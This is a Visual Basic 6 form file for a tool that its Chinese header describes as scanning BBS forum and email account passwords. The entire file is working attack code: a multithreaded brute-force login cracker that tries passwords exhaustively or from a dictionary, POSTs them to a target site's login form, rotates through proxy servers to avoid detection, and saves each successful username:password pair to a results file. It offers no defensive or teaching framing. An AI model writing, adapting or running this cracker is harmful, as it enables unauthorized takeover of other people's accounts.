form1.frm

扫描BBS论坛ID密码或邮箱密码的网络程序

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_SHOWNORMAL = 1&

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const EM_GETLINECOUNT = &HBA
Private Const EM_GETLINE = &HC4

Private Const ZongXianChen As Integer = 29  '总线程数
Dim PubXianchen As Integer                 '实际线程数
Dim PubFileNo As Integer  '文件号
Dim PubUserName(ZongXianChen) As String  '记录各用户名
Dim PubPassWord(ZongXianChen) As String  '记录各用户的对应密码
Dim PubTempSockTxt(ZongXianChen) As String '记录各Socks控件下载到内容
Dim ExitPro As Boolean '退出扫描过程
Dim PubSockCountNum(ZongXianChen) As Long
Dim ProxyLen As Long, ProxyNum As Long

Private Sub Check3_Click()
If Check3.Value = Checked Then
FrameProxy.Visible = True
Else
FrameProxy.Visible = False
End If
End Sub

Private Sub Command1_Click()
Dim Num As Integer
For Num = 0 To ZongXianChen
Winsock1(Num).Close
Next Num
Command1.Enabled = False
Frame1.Enabled = False
Frame2.Enabled = False
Check3.Enabled = False
PubXianchen = CInt(Val(Combo1.Text) - 1)
ProxyNum = 0
Label3.Caption = "扫描开始了！"
Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
If Option4.Value Then Close #PubFileNo
Label13.Caption = "扫描过程停止！"
Timer1.Enabled = False
Command1.Enabled = True
Frame1.Enabled = True
Frame2.Enabled = True
Check3.Enabled = True
End Sub

Private Sub Command3_Click()
Call ShellExecute(ByVal Me.hwnd, "Open", App.Path & "\密码扫描结果.txt", vbNullString, vbNullString, SW_SHOWNORMAL)
End Sub

Private Sub Command4_Click()
If Form1.Height = 4560 Then Form1.Height = 6960 Else Form1.Height = 4560
End Sub

Private Sub Command5_Click()
Dim BakFileName As String
BakFileName = vbNullString
CommonDialog1.DialogTitle = "打开扫描参数设置文件"
CommonDialog1.Filter = "扫描参数设置文件(*.dic)|*.dic"
CommonDialog1.ShowOpen
BakFileName = CommonDialog1.FileName
CommonDialog1.FileName = vbNullString
If BakFileName = vbNullString Then Exit Sub
If Dir(BakFileName, vbNormal) = vbNullString Then Exit Sub
Call ReadFromFile(ByVal BakFileName)
End Sub

Private Sub Command6_Click()
Dim TempFileName As String, TempText As String
Dim FileNo As Integer
CommonDialog1.DialogTitle = "打开代理文件"
CommonDialog1.Filter = "代理文件(*.txt)|*.txt"
CommonDialog1.ShowOpen
TempFileName = CommonDialog1.FileName
CommonDialog1.FileName = vbNullString
If TempFileName = vbNullString Then Exit Sub
If Dir(TempFileName, vbNormal) <> vbNullString Then
FileNo = FreeFile
Open TempFileName For Input Access Read As #FileNo
TempText = StrConv(InputB(LOF(FileNo), FileNo), vbUnicode)
Text8.Text = Text8.Text & TempText
End If
End Sub

Private Sub Command7_Click()
On Error Resume Next
ProxyLen = SendMessage(Text8.hwnd, ByVal EM_GETLINECOUNT, 0&, 0&)
ProxyLen = ProxyLen - 1

If GetaLine(ByVal ProxyLen) = vbNullString Then
    If ProxyLen = 0 Then Check3.Value = Unchecked Else ProxyLen = ProxyLen - 1
End If
FrameProxy.Visible = False
End Sub

Private Sub Form_Load()
Dim i As Integer

For i = 1 To ZongXianChen
Load Winsock1(i)
Winsock1(i).Close
Next i
Winsock1(0).Close

Form1.Height = 4560
Combo1.Text = "8"
Call ReadFromFile(App.Path & "\扫描参数设置文件.dic")
End Sub

Private Sub Form_Unload(Cancel As Integer)
Dim TempTxt As String
Dim FileNo As Integer  '存到相应的文件中
FileNo = FreeFile
TempTxt = Text0.Text
If Len(TempTxt) > 3 Then
    Text0.Text = vbNullString
    TempTxt = Left(TempTxt, Len(TempTxt) - 2)
    Open App.Path & "\密码扫描结果.txt" For Append Access Write As #FileNo
    Print #FileNo, TempTxt
    Close #FileNo
End If

If Dir(App.Path & "\扫描参数设置文件.dic", vbNormal) <> vbNullString Then Kill App.Path & "\扫描参数设置文件.dic"
FileNo = FreeFile
Open App.Path & "\扫描参数设置文件.dic" For Output Access Write As #FileNo
Print #FileNo, Text3.Text
Print #FileNo, Text4.Text
Print #FileNo, Text5(0).Text
Print #FileNo, Text5(1).Text
Print #FileNo, Text5(2).Text
Print #FileNo, Text5(3).Text
Print #FileNo, Text6.Text
Print #FileNo, Text1.Text
Print #FileNo, Text2.Text
Close #FileNo

End
End Sub

Private Sub Label10_Click()
Call ShellExecute(ByVal Me.hwnd, "Open", "http://bbs.52happy.net", vbNullString, vbNullString, SW_SHOWNORMAL)
End Sub

Private Sub Option3_Click()
If Option4.Value Then Close #PubFileNo
Label13.Caption = "穷尽扫描方式！"
End Sub

Private Sub Option4_Click()
Dim TempFileName As String
CommonDialog1.DialogTitle = "打开用户名文件或密码字典"
CommonDialog1.Filter = "用户名文件或密码字典(*.txt)|*.txt"
CommonDialog1.ShowOpen
TempFileName = CommonDialog1.FileName
CommonDialog1.FileName = vbNullString
If TempFileName <> vbNullString Then
PubFileNo = FreeFile
Open TempFileName For Input As #PubFileNo
Label13.Caption = "导入扫描方式，文件正在打开中！"
Else
Option3.Value = True
Option4.Value = False
End If

End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Dim Num As Integer
Dim TempTxt As String

'自动存盘
Dim FileNo As Integer  '存到相应的文件中
FileNo = FreeFile
TempTxt = Text0.Text
If Len(TempTxt) > 888 Then
    Text0.Text = vbNullString
    TempTxt = Left(TempTxt, Len(TempTxt) - 2)
    Open App.Path & "\密码扫描结果.txt" For Append Access Write As #FileNo
    Print #FileNo, TempTxt
    Close #FileNo
End If

If PubSockCountNum(Num) > 2000 Then
PubSockCountNum(Num) = 0
GoTo StartSend
End If

For Num = 0 To PubXianchen
If (Winsock1(Num).State = 8) Or ((PubSockCountNum(Num) > 800) And (Winsock1(Num).State = 7)) Then
Winsock1(Num).Close
PubSockCountNum(Num) = 0
End If
Next Num

StartSend:

For Num = 0 To PubXianchen
    If Winsock1(Num).State = sckClosed Then
         '获取用户名和密码
        If Option3.Value = True Then '穷尽扫描
            If Option1.Value = True Then '扫描用户
                TempTxt = QiongJingTxt(Text1.Text)
                If TempTxt = vbNullString Then  '退出
                    Label13.Caption = "扫描过程停止！"
                    Timer1.Enabled = False
                    Command1.Enabled = True
                    Frame1.Enabled = True
                    Frame2.Enabled = True
                    Check3.Enabled = True
                    Exit Sub
                End If
                Text1.Text = TempTxt
            Else '扫描密码
                TempTxt = QiongJingTxt(Text2.Text)
                If TempTxt = vbNullString Then  '退出
                    Label13.Caption = "扫描过程停止！"
                    Timer1.Enabled = False
                    Command1.Enabled = True
                    Frame1.Enabled = True
                    Frame2.Enabled = True
                    Check3.Enabled = True
                    Exit Sub
                End If
                Text2.Text = TempTxt
            End If
                
        Else    '导入扫描
            TempTxt = vbNullString
            Do While TempTxt = vbNullString
                If EOF(PubFileNo) Then '扫描结束
                    Close #PubFileNo
                    Label13.Caption = "扫描过程停止！"
                    Timer1.Enabled = False
                    Command1.Enabled = True
                    Frame1.Enabled = True
                    Frame2.Enabled = True
                    Check3.Enabled = True
                    Exit Sub
                End If
                Line Input #PubFileNo, TempTxt
                TempTxt = Trim(TempTxt)
            Loop
                
            If Option1.Value Then '扫描用户
                Text1.Text = TempTxt
                If Check1.Value = Checked Then Text2.Text = Text1.Text
            Else '扫描密码
                Text2.Text = TempTxt
            End If
        
        End If
        
        '提交post数据
        PubTempSockTxt(Num) = vbNullString
        PubUserName(Num) = Text1.Text
        PubPassWord(Num) = Text2.Text
        
        Winsock1(Num).LocalPort = 0
        Winsock1(Num).Protocol = sckTCPProtocol

If Check3.Value = Checked Then '选择代理
        TempTxt = vbNullString
        TempTxt = GetaLine(ByVal ProxyNum)
        Winsock1(Num).RemoteHost = Left(TempTxt, InStr(1, TempTxt, ":", vbBinaryCompare) - 1)
        Winsock1(Num).RemotePort = Right(TempTxt, Len(TempTxt) - InStr(1, TempTxt, ":", vbBinaryCompare))
        If ProxyNum = ProxyLen Then ProxyNum = 0 Else ProxyNum = ProxyNum + 1
Else  '不用代理
        Winsock1(Num).RemoteHost = Text3.Text
        Winsock1(Num).RemotePort = 80
End If

        Winsock1(Num).Connect
        
    PubSockCountNum(Num) = 0
    Exit For
    Else
    PubSockCountNum(Num) = PubSockCountNum(Num) + 1
    End If
    
Next Num
End Sub


Private Sub Winsock1_Connect(Index As Integer)
On Error Resume Next
Dim strURL As String, strPost As String
Dim TempName As String, TempWord As String
Dim TempLen As Integer, i As Integer

TempName = vbNullString
If Asc(Left(PubUserName(Index), 1)) < 0 Then
    TempLen = CInt(Len(PubUserName(Index)))
    For i = 1 To TempLen
        strURL = Hex(Asc(Mid(PubUserName(Index), i, 1)))
        TempName = TempName & "%" & Left(strURL, 2) & "%" & Right(strURL, 2)
    Next i
Else
TempName = PubUserName(Index)
End If

TempWord = vbNullString
If Asc(Left(PubPassWord(Index), 1)) < 0 Then
    TempLen = CInt(Len(PubPassWord(Index)))
    For i = 1 To TempLen
        strURL = Hex(Asc(Mid(PubPassWord(Index), i, 1)))
        TempWord = TempWord & "%" & Left(strURL, 2) & "%" & Right(strURL, 2)
    Next i
Else
TempWord = PubPassWord(Index)
End If

strPost = Text5(0).Text & TempName & Text5(1).Text & TempWord & Text5(2).Text
strURL = "POST http://" & Text3.Text & Text4.Text & " HTTP/1.0" & vbCrLf
strURL = strURL & "Content-Type: application/x-www-form-urlencoded" & vbCrLf
strURL = strURL & "Content-Length: " & Trim(CStr(Len(strPost))) & vbCrLf & vbCrLf
strURL = strURL & strPost & vbCrLf
Winsock1(Index).SendData strURL
End Sub

Private Sub Winsock1_DataArrival(Index As Integer, ByVal bytesTotal As Long)
On Error Resume Next
Dim vtData As String
Winsock1(Index).GetData vtData, vbString, bytesTotal
PubTempSockTxt(Index) = PubTempSockTxt(Index) & vtData
End Sub

Private Sub Winsock1_Close(Index As Integer)
On Error Resume Next
Dim StartPoint As Long, EndPoint As Long
StartPoint = InStr(1, PubTempSockTxt(Index), Text5(3).Text, vbBinaryCompare)
If Option5.Value = True Then  '合法标志
    If StartPoint > 0 Then
    Text0.Text = Text0.Text & PubUserName(Index) & " : " & PubPassWord(Index) & vbCrLf
    '截取文本
        If Check2.Value = Checked Then
            If Val(Text7(1).Text) <> 0 Then
                EndPoint = InStr(StartPoint + 1, PubTempSockTxt(Index), Text7(0).Text, vbBinaryCompare)
                Text0.Text = Text0.Text & Mid(PubTempSockTxt(Index), EndPoint + Len(Text7(0).Text), CLng(Val(Text7(1).Text))) & vbCrLf
            End If
            If Val(Text7(3).Text) <> 0 Then
                StartPoint = InStr(EndPoint + 1, PubTempSockTxt(Index), Text7(2).Text, vbBinaryCompare)
                Text0.Text = Text0.Text & Mid(PubTempSockTxt(Index), StartPoint + Len(Text7(2).Text), CLng(Val(Text7(3).Text))) & vbCrLf
            End If
        End If
    End If
End If
If (Option6.Value = True) And (StartPoint = 0) Then '非法标志
    Text0.Text = Text0.Text & PubUserName(Index) & " : " & PubPassWord(Index) & vbCrLf
End If
If Winsock1(Index).State <> sckClosed Then Winsock1(Index).Close
End Sub

Private Function QiongJingTxt(ByVal TempInputTxt As String) As String

Dim TxtLen As Integer '记录输入文本的长度
Dim i As Integer, Num As Integer, CountNum As Integer   '临时记数器
Dim TempTxt As String * 1 '临时记录的文本
Dim LastPassWord As String * 1, FirstPassWord As String * 1 '最后一个密码文本

FirstPassWord = Left(Text6.Text, 1)
LastPassWord = Right(Text6.Text, 1)
TxtLen = CInt(Len(TempInputTxt))
CountNum = 0

For i = TxtLen To 1 Step -1
    TempTxt = Mid(TempInputTxt, CLng(i), 1)
    If TempTxt <> LastPassWord Then
        Num = Int(InStr(1, Text6.Text, TempTxt, vbBinaryCompare))
        Mid(TempInputTxt, CLng(i), 1) = Mid(Text6.Text, CLng(Num + 1), 1)
        Exit For
    Else
        Mid(TempInputTxt, CLng(i), 1) = FirstPassWord
        CountNum = CountNum + 1
    End If
Next i
If CountNum = TxtLen Then QiongJingTxt = vbNullString Else QiongJingTxt = TempInputTxt
End Function

Private Sub ReadFromFile(ByVal TempFileName As String)
    Dim FileNo As Integer
    Dim TempTxt As String
If Dir(TempFileName, vbNormal) <> vbNullString Then
    FileNo = FreeFile
    Open TempFileName For Input Access Read As #FileNo
    
    If EOF(FileNo) Then Close #FileNo: Exit Sub
    Line Input #FileNo, TempTxt
    Text3.Text = TempTxt
    
    If EOF(FileNo) Then Close #FileNo: Exit Sub
    Line Input #FileNo, TempTxt
    Text4.Text = TempTxt
    
    If EOF(FileNo) Then Close #FileNo: Exit Sub
    Line Input #FileNo, TempTxt
    Text5(0).Text = TempTxt
    
    If EOF(FileNo) Then Close #FileNo: Exit Sub
    Line Input #FileNo, TempTxt
    Text5(1).Text = TempTxt
    
    If EOF(FileNo) Then Close #FileNo: Exit Sub
    Line Input #FileNo, TempTxt
    Text5(2).Text = TempTxt

    If EOF(FileNo) Then Close #FileNo: Exit Sub
    Line Input #FileNo, TempTxt
    Text5(3).Text = TempTxt
    
    If EOF(FileNo) Then Close #FileNo: Exit Sub
    Line Input #FileNo, TempTxt
    Text6.Text = TempTxt
        
    If EOF(FileNo) Then Close #FileNo: Exit Sub
    Line Input #FileNo, TempTxt
    Text1.Text = TempTxt
        
    If EOF(FileNo) Then Close #FileNo: Exit Sub
    Line Input #FileNo, TempTxt
    Text2.Text = TempTxt
    Close #FileNo
End If

End Sub

Private Sub Winsock1_Error(Index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
On Error Resume Next
Winsock1(Index).Close
End Sub
Private Function GetaLine(ByVal ntx As Long) As String
 Dim str5(24) As Byte '如果您的字串 > 255 byte请自行增加该Byte Array
 Dim str6 As String, Num As Long
 str5(0) = 20 '字串的前两个Byte存该字串的最大长度
 Num = SendMessage(Text8.hwnd, EM_GETLINE, ntx, str5(0))
 If Num = 0 Then
    GetaLine = vbNullString
 Else
    str6 = StrConv(str5, vbUnicode)
    GetaLine = Left(str6, InStr(1, str6, Chr(0), vbBinaryCompare) - 1)
 End If
 End Function